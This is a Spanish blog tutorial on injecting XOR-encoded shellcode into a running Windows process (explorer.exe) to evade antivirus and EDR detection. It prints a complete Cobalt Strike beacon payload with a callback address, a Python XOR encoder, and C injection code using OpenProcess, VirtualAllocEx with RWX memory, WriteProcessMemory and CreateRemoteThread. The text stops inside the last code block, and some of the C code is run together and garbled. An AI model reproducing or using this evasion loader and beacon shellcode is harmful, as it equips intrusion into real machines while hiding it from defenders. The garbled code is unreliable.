Decodificación de shellcode en memoria para evadir antivirus y EDRs (Endpoint Detection & Response solution)

 


Durante la semana anterior, estuve investigando un poco sobre las API de win32 y cómo podemos usarlas durante el armado de nuestro ataque, ya hice algunos trabajos relacionados con la inyección de procesos en el pasado, pero estaba buscando algo más avanzado y hacer un extra milla en proceso de inyección.
Entonces, decidí usar mi código hecho en C para inyectar un shellcode en un proceso de inyección vainilla e intenté llevarla al siguiente nivel implementando una rutina de decodificación y me aseguré de que mi shellcode se escribirá en la memoria de una manera codificada y luego se decodificará más adelante en tiempo de ejecución.
La técnica de inyección de proceso vainilla es muy simple de usar e implementar, solo necesita abrir el proceso que desea, asignar espacio en ese proceso, escribir su shellcode y luego ejecutarlo.
Haremos casi lo mismo aquí, pero antes codificaré mi shellcode escribiendo un simple script de Python para codificar mi shellcode, luego, más adelante, dejaremos que el código C lo decodifique en tiempo de ejecución y luego escriba cada byte en la memoria después de asignar el espacio que queremos.
Además, profundizaré en algunas de las API de WIn32 y explicaré cómo se ejecuta cada una a bajo nivel.

inyección de proceso 101

Como mencioné antes, la técnica de inyección de proceso vainilla hará lo siguiente:

  • Abrir un proceso y recuperar un HANDLE para ese proceso.
  • Asignar espacio en el proceso remoto (recuperar una dirección de memoria).
  • Escriba los datos (shellcode) dentro de ese proceso.
  • Ejecutar el shellcode
Podemos realizar estos pasos con un par de API de Win32 que son:
En el caso normal, escribiremos la "shellcode" directamente en la memoria tal como están, pero si los AV/EDRs detectan el shellcode definitivamente generarán una alerta sobre eso, por lo que debemos codificar nuestro shellcode y guardarlo como shellcode codificado dentro de nuestro binario, luego, necesitamos decodificarlo y escribirlo en la memoria para evitar la detección.

Codificación Shellcode

Necesitamos codificar nuestro shellcode para evitar la detección como mencioné antes y para hacer eso, necesitamos modificar ese shellcode de una manera reversible que podría usarse para recuperar el estado original de nuestro shellcode, y podemos hacerlo realizando algunos cambios en cada opcode como:
  • XOR
  • ADD
  • Subtract
  • SWAP
Usaré la operación XOR bit a bit en cada opcode de mi shellcode usaré la baliza Cobalt Strike como mi código de shell, y será el siguiente shellcode: 
 /* length: 887 bytes */
unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x56\x1f\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x35\x6e\x6b\x4f\x00\x03\x9a\xf4\xbb\xe0\xdd\x3e\x6c\x87\xa5\x05\x4b\x82\x51\x2f\xd5\x68\x67\x15\xd6\xfd\x10\xf3\xa5\x90\x60\xea\xba\xfe\x1f\x26\x2d\x04\xf3\xec\xcb\xd4\x73\x94\x57\x98\x5e\xde\xec\xb8\x3e\xd9\x4e\x32\xcc\x38\xe3\x94\x06\x1d\x73\x2d\xb3\xd4\x62\x26\xca\x5a\xae\x52\xef\xf4\xc0\x81\x77\x97\xce\xd5\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x47\x54\x42\x37\x2e\x34\x3b\x20\x49\x6e\x66\x6f\x50\x61\x74\x68\x2e\x32\x29\x0d\x0a\x00\x61\xe2\x49\x6c\xb5\x31\x92\x20\x19\xc9\xaa\x69\x2b\xbc\xc1\x8b\x28\xf9\x80\x6c\x92\xac\xba\xea\x06\x32\x05\xc2\x38\x1b\x0f\x3e\x85\x39\xc3\x8a\x12\x21\xe7\x51\x80\x80\x30\x02\xe7\xcc\x8f\x34\x38\xd1\xe2\x48\xf0\x28\x21\xe9\xd7\xa6\x47\x58\x0e\x48\x8c\x1d\x16\xad\x7d\xad\xbd\xa4\x40\x58\x4b\x5f\x3d\xa9\xd0\x55\x19\xdf\x43\xf1\x69\xba\x0c\x81\x6f\x91\x72\x94\xc6\x65\xb4\x8d\x5b\x04\x58\x68\x72\x93\xc3\xbc\x46\x11\x0b\xf8\x50\x26\x52\x15\x49\xdb\x36\x0d\x75\x5d\x81\x5d\x47\x1b\x0f\x5e\x25\x50\x34\x23\xc1\x69\xfd\x22\x75\x5d\xea\xa4\x2e\x40\x98\x12\x72\x8e\xd4\xde\xef\xf2\x42\xdd\x08\x6b\xa3\x74\x13\x6c\xa9\x82\xfc\x25\xec\xe6\x22\xea\x9b\x4b\x58\xa8\x85\x67\xa1\x78\x1e\xaa\x07\x31\xd7\xcf\x4a\x74\xf1\x30\x63\x3e\x0e\x5c\x17\x53\x2f\x69\x67\x92\xf8\x28\xfe\xd6\x6f\xce\x06\xc5\xdd\xb2\x0d\x71\xf4\xda\x18\x5e\x26\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x30\x2e\x30\x2e\x30\x2e\x31\x00\x58\x56\x3d\xd2"; 
Y el siguiente código será nuestro codificador:
 
#!/usr/bin/python
 
import sys
 
raw_data = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4f\xff\xff\xff\x5d\x6a\x00\x49\xbe\x77\x69\x6e\x69\x6e\x65\x74\x00\x41\x56\x49\x89\xe6\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x48\x31\xc9\x48\x31\xd2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x56\x1f\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\x52\x68\x00\x02\x40\x84\x52\x52\x41\xba\xeb\x55\x2e\x3b\xff\xd5\x48\x89\xc6\x48\x83\xc3\x50\x6a\x0a\x5f\x48\x89\xf1\x48\x89\xda\x49\xc7\xc0\xff\xff\xff\xff\x4d\x31\xc9\x52\x52\x41\xba\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x85\x9d\x01\x00\x00\x48\xff\xcf\x0f\x84\x8c\x01\x00\x00\xeb\xd3\xe9\xe4\x01\x00\x00\xe8\xa2\xff\xff\xff\x2f\x35\x6e\x6b\x4f\x00\x03\x9a\xf4\xbb\xe0\xdd\x3e\x6c\x87\xa5\x05\x4b\x82\x51\x2f\xd5\x68\x67\x15\xd6\xfd\x10\xf3\xa5\x90\x60\xea\xba\xfe\x1f\x26\x2d\x04\xf3\xec\xcb\xd4\x73\x94\x57\x98\x5e\xde\xec\xb8\x3e\xd9\x4e\x32\xcc\x38\xe3\x94\x06\x1d\x73\x2d\xb3\xd4\x62\x26\xca\x5a\xae\x52\xef\xf4\xc0\x81\x77\x97\xce\xd5\x00\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x30\x20\x28\x63\x6f\x6d\x70\x61\x74\x69\x62\x6c\x65\x3b\x20\x4d\x53\x49\x45\x20\x38\x2e\x30\x3b\x20\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x35\x2e\x31\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x34\x2e\x30\x3b\x20\x47\x54\x42\x37\x2e\x34\x3b\x20\x49\x6e\x66\x6f\x50\x61\x74\x68\x2e\x32\x29\x0d\x0a\x00\x61\xe2\x49\x6c\xb5\x31\x92\x20\x19\xc9\xaa\x69\x2b\xbc\xc1\x8b\x28\xf9\x80\x6c\x92\xac\xba\xea\x06\x32\x05\xc2\x38\x1b\x0f\x3e\x85\x39\xc3\x8a\x12\x21\xe7\x51\x80\x80\x30\x02\xe7\xcc\x8f\x34\x38\xd1\xe2\x48\xf0\x28\x21\xe9\xd7\xa6\x47\x58\x0e\x48\x8c\x1d\x16\xad\x7d\xad\xbd\xa4\x40\x58\x4b\x5f\x3d\xa9\xd0\x55\x19\xdf\x43\xf1\x69\xba\x0c\x81\x6f\x91\x72\x94\xc6\x65\xb4\x8d\x5b\x04\x58\x68\x72\x93\xc3\xbc\x46\x11\x0b\xf8\x50\x26\x52\x15\x49\xdb\x36\x0d\x75\x5d\x81\x5d\x47\x1b\x0f\x5e\x25\x50\x34\x23\xc1\x69\xfd\x22\x75\x5d\xea\xa4\x2e\x40\x98\x12\x72\x8e\xd4\xde\xef\xf2\x42\xdd\x08\x6b\xa3\x74\x13\x6c\xa9\x82\xfc\x25\xec\xe6\x22\xea\x9b\x4b\x58\xa8\x85\x67\xa1\x78\x1e\xaa\x07\x31\xd7\xcf\x4a\x74\xf1\x30\x63\x3e\x0e\x5c\x17\x53\x2f\x69\x67\x92\xf8\x28\xfe\xd6\x6f\xce\x06\xc5\xdd\xb2\x0d\x71\xf4\xda\x18\x5e\x26\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x30\x2e\x30\x2e\x30\x2e\x31\x00\x58\x56\x3d\xd2"
 
new_shellcode = []
for opcode in raw_data:
        new_opcode = (ord(opcode) ^ 0x01)
        new_shellcode.append(new_opcode)
 
 
print "".join(["\\x{0}".format(hex(abs(i)).replace("0x", "")) for i in new_shellcode])  
 
Este script leerá cada opcode de nuestro shellcode, luego lo copiará con el byte 0x01, que es nuestra clave en este caso, luego agrega cada opcode codificado en una nueva lista y, finalmente, lo imprimirá como un shellcode como el siguiente:


Obtuvimos el shellcode codificado después de ejecutar el script, ahora estamos listos para continuar.
Ahora comenzaremos a implementar el código C que realizará la inyección de shellcode por nosotros, revisaré cada API de win32 para explicar eso.

Abrir proceso y recuperar un identificador (handle)

Necesitamos elegir un proceso para inyectarle nuestro shellcode, y para hacer eso, necesitamos recuperar un identificador para ese proceso para que podamos realizar algunas acciones en él, y para hacer eso, usaremos OpenProcess win32 API usando lo siguiente código:
#include <windows.h>
int main(int argc, char *argv[]){
// You can use GetCurrentProcessId() to get the current PID
// The PID that you want to use
// Declare a new handle as process variable
int process_id = atoi(argv[1]); // PROCESS_ALL_ACCESS
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id); // If the operation succeeded it will return the handle
printf("[+] Handle value is %p\n", process);
if(process){ printf("[+] Handle retrieved successfully!\n"); // We can print it as pointer using printf }else{
}
printf("[-] Enable to retrieve process handle\n"); }
Este código tomará el ID del proceso para el que desea obtener un identificador como primer argumento del código, luego usará OpenProcess() con el acceso correcto PROCESS_ALL_ACCESS para abrir el proceso y guardar el identificador en el proceso variable y finalmente, imprimirá el handle para nosotros.
La función OpenProcess() en realidad toma 3 parámetros que puede verificar a través de esta página.
Además, puede verificar todos los derechos de acceso desde esta página.

Y luego de compilar el código y ejecutarlo para recuperar el identificador del proceso “explorer.exe” con pid 4032, obtendremos lo siguiente:

Recuperamos el handle con éxito.

Asignar espacio en el proceso remoto

El siguiente paso después de recuperar el identificador será Asignar espacio dentro de ese proceso, podemos hacerlo usando VirtualAllocEx() usando el siguiente código:
#include <windows.h>
int main(int argc, char *argv[]){
char data[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
// The PID that you want to use
// Declare a new handle as process variable
int process_id = atoi(argv[1]); // PROCESS_ALL_ACCESS
// If the operation succeeded it will return the handle
HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id); if(process){
printf("[+] Handle value is %p\n", process);
printf("[+] Handle retrieved successfully!\n"); // We can print it as pointer using printf // Allocate space
base_address = VirtualAllocEx(process, NULL, sizeof(data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// Define the base_address variable which will save the allocated memory address LPVOID base_address; if(base_address){ printf("[+] Allocated based address is 0x%x\n", base_address);
}
}else{ printf("[-] Unable to allocate memory ...\n"); } }else{ printf("[-] Unable to retrieve process handle\n"); }
Agregué algunos datos en la línea #7 como datos de volcado (serán reemplazados con nuestro shellcode), deberíamos tenerlo para asignar la memoria en función de su tamaño.
En la línea #25 declaramos una variable llamada “base_address” como LPVOID que representará la dirección base de la memoria asignada.
Y en la línea #26 usamos VirtualAllocEx() y le pasamos los siguientes parámetros:
  • process: que es el identificador que recuperamos anteriormente usando OpenProcess()
  • null: para asegurarse de que la función asignará la dirección automáticamente en lugar de usar una que conozcamos.
  • sizeof (data): el tamaño de los datos que se escribirán en la memoria.
  • MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE: el tipo de asignación que queremos usar, que describe lo que queremos hacer dentro de esa región de memoria asignada que es lectura, escritura, ejecución (RWX)
Asignar una región de memoria con RWX no es muy sigiloso y los EDRs podrían considerarlo como una acción sospechosa.
Y finalmente, en la línea #29 imprimimos la dirección de la memoria asignada, en la que escribiremos nuestros datos, y al ejecutar el código obtendremos lo siguiente:

Tenemos la dirección "0xa50000" como nuestra dirección base.

Permíteme explicarte más y decirte qué significa exactamente esa dirección, y para hacer eso, adjuntaré mi depurador a explorer.exe y veré lo que tenemos en esa dirección:


Luego iré a la dirección “0xa50000” como lo siguiente:


Seleccione Expression e ingrese la dirección:

Para obtener los siguientes resultados:


Como podemos ver, la función VirtualAllocEx nos ha asignado espacio de memoria en explorer.exe y estamos listos para escribir nuestros datos.

Escribir datos en la memoria

Ahora aquí está la parte más importante de nuestra técnica, decodificamos los opcode originales y los escribiremos directamente en la memoria, lo haremos comenzando a escribir nuestros datos desde “0xA50000” y aumentando la dirección una a una para llegar a la siguiente dirección de memoria.
Usamos xor para codificar nuestro shellcode, ahora usaremos el mismo valor para decodificar cada byte y recuperar el estado original de cada opcode, y ese es un ejemplo de esta operación:
hex(ord("\xfc") ^ 0x01) # = 0xfd
hex(ord"\xfd") ^ 0x01) # = 0xfc
Entonces, al XORear (término inventado al pasar XOR jajaja) cada opcode con 0x01, recuperaremos el shellcode original, pero esta vez sin que los AV/EDRs nos detecten mediante análisis estático (basado en firmas) porque se escribirá directamente en la memoria en tiempo de ejecución.
Incluso con este tipo de codificación, su carga útil puede quedar marcada, así que asegúrese de usar una codificación más fuerte y pruébela antes de usarla en su operación.

El siguiente código lo logrará para nosotros:
#include <windows.h>
int main(int argc, char *argv[]){
unsigned char data[] = "\xfd\x49\x82\xe5\xf1\xe9\xc9\x1\x1\x1\x40\x50\x40\x51\x53\x50\x57\x49\x30\xd3\x64\x49\x8a\x53\x61\x49\x8a\x53\x19\x49\x8a\x53\x21\x49\x8a\x73\x51\x49\xe\xb6\x4b\x4b\x4c\x30\xc8\x49\x30\xc1\xad\x3d\x60\x7d\x3\x2d\x21\x40\xc0\xc8\xc\x40\x0\xc0\xe3\xec\x53\x40\x50\x49\x8a\x53\x21\x8a\x43\x3d\x49\x0\xd1\x67\x80\x79\x19\xa\x3\x74\x73\x8a\x81\x89\x1\x1\x1\x49\x84\xc1\x75\x66\x49\x0\xd1\x51\x8a\x49\x19\x45\x8a\x41\x21\x48\x0\xd1\xe2\x57\x49\xfe\xc8\x40\x8a\x35\x89\x49\x0\xd7\x4c\x30\xc8\x49\x30\xc1\xad\x40\xc0\xc8\xc\x40\x0\xc0\x39\xe1\x74\xf0\x4d\x2\x4d\x25\x9\x44\x38\xd0\x74\xd9\x59\x45\x8a\x41\x25\x48\x0\xd1\x67\x40\x8a\xd\x49\x45\x8a\x41\x1d\x48\x0\xd1\x40\x8a\x5\x89\x49\x0\xd1\x40\x59\x40\x59\x5f\x58\x5b\x40\x59\x40\x58\x40\x5b\x49\x82\xed\x21\x40\x53\xfe\xe1\x59\x40\x58\x5b\x49\x8a\x13\xe8\x4e\xfe\xfe\xfe\x5c\x6b\x1\x48\xbf\x76\x68\x6f\x68\x6f\x64\x75\x1\x40\x57\x48\x88\xe7\x4d\x88\xf0\x40\xbb\x4d\x76\x27\x6\xfe\xd4\x49\x30\xc8\x49\x30\xd3\x4c\x30\xc1\x4c\x30\xc8\x40\x51\x40\x51\x40\xbb\x3b\x57\x78\xa6\xfe\xd4\xea\x72\x5b\x49\x88\xc0\x40\xb9\x57\x1e\x1\x1\x4c\x30\xc8\x40\x50\x40\x50\x6b\x2\x40\x50\x40\xbb\x56\x88\x9e\xc7\xfe\xd4\xea\x58\x5a\x49\x88\xc0\x49\x30\xd3\x48\x88\xd9\x4c\x30\xc8\x53\x69\x1\x3\x41\x85\x53\x53\x40\xbb\xea\x54\x2f\x3a\xfe\xd4\x49\x88\xc7\x49\x82\xc2\x51\x6b\xb\x5e\x49\x88\xf0\x49\x88\xdb\x48\xc6\xc1\xfe\xfe\xfe\xfe\x4c\x30\xc8\x53\x53\x40\xbb\x2c\x7\x19\x7a\xfe\xd4\x84\xc1\xe\x84\x9c\x0\x1\x1\x49\xfe\xce\xe\x85\x8d\x0\x1\x1\xea\xd2\xe8\xe5\x0\x1\x1\xe9\xa3\xfe\xfe\xfe\x2e\x34\x6f\x6a\x4e\x1\x2\x9b\xf5\xba\xe1\xdc\x3f\x6d\x86\xa4\x4\x4a\x83\x50\x2e\xd4\x69\x66\x14\xd7\xfc\x11\xf2\xa4\x91\x61\xeb\xbb\xff\x1e\x27\x2c\x5\xf2\xed\xca\xd5\x72\x95\x56\x99\x5f\xdf\xed\xb9\x3f\xd8\x4f\x33\xcd\x39\xe2\x95\x7\x1c\x72\x2c\xb2\xd5\x63\x27\xcb\x5b\xaf\x53\xee\xf5\xc1\x80\x76\x96\xcf\xd4\x1\x54\x72\x64\x73\x2c\x40\x66\x64\x6f\x75\x3b\x21\x4c\x6e\x7b\x68\x6d\x6d\x60\x2e\x35\x2f\x31\x21\x29\x62\x6e\x6c\x71\x60\x75\x68\x63\x6d\x64\x3a\x21\x4c\x52\x48\x44\x21\x39\x2f\x31\x3a\x21\x56\x68\x6f\x65\x6e\x76\x72\x21\x4f\x55\x21\x34\x2f\x30\x3a\x21\x55\x73\x68\x65\x64\x6f\x75\x2e\x35\x2f\x31\x3a\x21\x46\x55\x43\x36\x2f\x35\x3a\x21\x48\x6f\x67\x6e\x51\x60\x75\x69\x2f\x33\x28\xc\xb\x1\x60\xe3\x48\x6d\xb4\x30\x93\x21\x18\xc8\xab\x68\x2a\xbd\xc0\x8a\x29\xf8\x81\x6d\x93\xad\xbb\xeb\x7\x33\x4\xc3\x39\x1a\xe\x3f\x84\x38\xc2\x8b\x13\x20\xe6\x50\x81\x81\x31\x3\xe6\xcd\x8e\x35\x39\xd0\xe3\x49\xf1\x29\x20\xe8\xd6\xa7\x46\x59\xf\x49\x8d\x1c\x17\xac\x7c\xac\xbc\xa5\x41\x59\x4a\x5e\x3c\xa8\xd1\x54\x18\xde\x42\xf0\x68\xbb\xd\x80\x6e\x90\x73\x95\xc7\x64\xb5\x8c\x5a\x5\x59\x69\x73\x92\xc2\xbd\x47\x10\xa\xf9\x51\x27\x53\x14\x48\xda\x37\xc\x74\x5c\x80\x5c\x46\x1a\xe\x5f\x24\x51\x35\x22\xc0\x68\xfc\x23\x74\x5c\xeb\xa5\x2f\x41\x99\x13\x73\x8f\xd5\xdf\xee\xf3\x43\xdc\x9\x6a\xa2\x75\x12\x6d\xa8\x83\xfd\x24\xed\xe7\x23\xeb\x9a\x4a\x59\xa9\x84\x66\xa0\x79\x1f\xab\x6\x30\xd6\xce\x4b\x75\xf0\x31\x62\x3f\xf\x5d\x16\x52\x2e\x68\x66\x93\xf9\x29\xff\xd7\x6e\xcf\x7\xc4\xdc\xb3\xc\x70\xf5\xdb\x19\x5f\x27\x1\x40\xbf\xf1\xb4\xa3\x57\xfe\xd4\x49\x30\xc8\xbb\x1\x1\x41\x1\x40\xb9\x1\x11\x1\x1\x40\xb8\x41\x1\x1\x1\x40\xbb\x59\xa5\x52\xe4\xfe\xd4\x49\x92\x52\x52\x49\x88\xe6\x49\x88\xf0\x49\x88\xdb\x40\xb9\x1\x21\x1\x1\x48\x88\xf8\x40\xbb\x13\x97\x88\xe3\xfe\xd4\x49\x82\xc5\x21\x84\xc1\x75\xb7\x67\x8a\x6\x49\x0\xc2\x84\xc1\x74\xd6\x59\x59\x59\x49\x4\x1\x1\x1\x1\x51\xc2\xe9\x9e\xfc\xfe\xfe\x30\x31\x2f\x31\x2f\x31\x2f\x30\x1\x59\x57\x3c\xd3";
// The PID that you want to use int process_id = atoi(argv[1]); // Declare a new handle as process variable // PROCESS_ALL_ACCESS HANDLE process = OpenProcess(PROCESS_ALL_ACCESS, 0, process_id); // If the operation succeeded it will return the handle if(process){ printf("[+] Handle retrieved successfully!\n"); // We can print it as pointer using printf printf("[+] Handle value is %p\n", process); // Allocate space // Define the base_address variable which will save the allocated memory address LPVOID base_address; base_address = VirtualAllocEx(process, NULL, sizeof(data), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if(base_address){ printf("[+] Allocated based address is 0x%x\n", base_address); // Data chars counter int i; // Base address counter int n = 0; for(i = 0; i<=sizeof(data); i++){ // Decode shellcode opcode char DecodedOpCode = data[i] ^ 0x01; // Write the decoded bytes in memory address if(WriteProcessMemory(process, base_address+n, &DecodedOpCode, 1, NULL)){ printf("[+] Byte wrote sucessfully!\n"); // Increase memory address by 1 n++; } } }else{ printf("[-] Unable to allocate memory ...\n"); } }else{ printf("[-] Unable to retrieve process handle\n"); }
}
Este código escribirá nuestro shellcode en la memoria después de decodificar cada byte del mismo con nuestra clave "0x01", como podemos ver en la línea #39 Usé un bucle for para moverme en cada elemento de nuestro shellcode, luego en la línea #42 hice XOR cada elemento con 0x01 para recuperar el opcode original, y en la línea #45 escribí ese byte decodificado en una ubicación específica en la memoria y finalmente en la línea #51 muevo el contador n, que es el contador de memoria, a la siguiente dirección de memoria para decodificar y escriba el opcode.

WriteProcessMemory() tomó los siguientes parámetros:
  • process: que es el identificador que recuperamos anteriormente usando OpenProcess()
  • base_address+n: que es la dirección en la que queremos escribir nuestro código opcode (base_address recuperada de VirtualAllocEx) y n es el contador para pasar a la siguiente dirección.
  • &DecodedOpCode: la dirección de nuestro DecodedOpCode byte.
  • 1: el número de bytes escritos que es solo un byte.
  • null: porque no tenemos un puntero para recibir el número de bytes escritos.
Puede verificar los parámetros que WriteProcessMemory toma desde esta página.
Después de compilar el programa y ejecutarlo, obtendremos lo siguiente:


Como podemos ver, obtenemos cada byte escrito en la dirección deseada que queremos, ahora, depuremos eso usando x64dbg y vayamos a la dirección "0x2ec0000" para obtener lo siguiente:


Como podemos ver, nuestros bytes originales se escribieron en las direcciones que queremos a partir de 0x2ec0000 y ¡todo está funcionando muy bien!

Ejecutando el shellcode

Finalmente, necesitamos ejecutar el shellcode como un hilo, y para hacer eso, podemos hacerlo usando la función CreateRemoteThread() usando el siguiente código:
#include <windows.h>
int main(int argc, char *argv[]){
unsigned char data[] = "\xfd\x49\x82\xe5\xf1\xe9\xc9\x1\x1\x1\x40\x50\x40\x51\x53\x50\x57\x49\x30\xd3\x64\x49\x8a\x53\x61\x49\x8a\x53\x19\x49\x8a\x53\x21\x49\x8a\x73\x51\x49\xe\xb6\x4b\x4b\x4c\x30\xc8\x49\x30\xc1\xad\x3d\x60\x7d\x3\x2d\x21\x40\xc0\xc8\xc\x40\x0\xc0\xe3\xec\x53\x40\x50\x49\x8a\x53\x21\x8a\x43\x3d\x49\x0\xd1\x67\x80\x79\x19\xa\x3\x74\x73\x8a\x81\x89\x1\x1\x1\x49\x84\xc1\x75\x66\x49\x0\xd1\x51\x8a\x49\x19\x45\x8a\x41\x21\x48\x0\xd1\xe2\x57\x49\xfe\xc8\x40\x8a\x35\x89\x49\x0\xd7\x4c\x30\xc8\x49\x30\xc1\xad\x40\xc0\xc8\xc\x40\x0\xc0\x39\xe1\x74\xf0\x4d\x2\x4d\x25\x9\x44\x38\xd0\x74\xd9\x59\x45\x8a\x41\x25\x48\x0\xd1\x67\x40\x8a\xd\x49\x45\x8a\x41\x1d\x48\x0\xd1\x40\x8a\x5\x89\x49\x0\xd1\x40\x59\x40\x59\x5f\x58\x5b\x40\x59\x40\x58\x40\x5b\x49\x82\xed\x21\x40\x53\xfe\xe1\x59\x40\x58\x5b\x49\x8a\x13\xe8\x4e\xfe\xfe\xfe\x5c\x6b\x1\x48\xbf\x76\x68\x6f\x68\x6f\x64\x75\x1\x40\x57\x48\x88\xe7\x4d\x88\xf0\x40\xbb\x4d\x76\x27\x6\xfe\xd4\x49\x30\xc8\x49\x30\xd3\x4c\x30\xc1\x4c\x30\xc8\x40\x51\x40\x51\x40\xbb\x3b\x57\x78\xa6\xfe\xd4\xea\x72\x5b\x49\x88\xc0\x40\xb9\x57\x1e\x1\x1\x4c\x30\xc8\x40\x50\x40\x50\x6b\x2\x40\x50\x40\xbb\x56\x88\x9e\xc7\xfe\xd4\xea\x58\x5a\x